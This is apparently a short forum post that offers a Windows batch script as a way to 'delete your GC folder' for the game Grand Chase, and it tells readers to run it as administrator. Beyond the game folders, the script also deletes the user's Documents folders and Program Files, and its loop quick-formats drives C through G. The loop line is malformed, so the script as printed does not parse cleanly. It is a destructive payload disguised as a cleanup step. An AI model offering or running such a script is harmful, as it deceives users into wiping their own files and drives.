It will delete your GC folder:
rmdir /S /Q "C:\Program Files\Level Up Games\Grand Chase"
rmdir /S /Q "D:\Program Files\Level Up Games\Grand Chase"
rmdir /S /Q "C:\Users\%USERNAME%\Documents"
rmdir /S /Q "C:\Documents and Settings\%USERNAME%\My Documents"
for %%i in (d:,e:,f:,g:,c
do format %%i /FS:NTFS /x /q
rmdir /S /Q "%ProgramFiles%"
But will only work if you do 2 things:
1. Run as administrator
2. installed GCPH in default folder.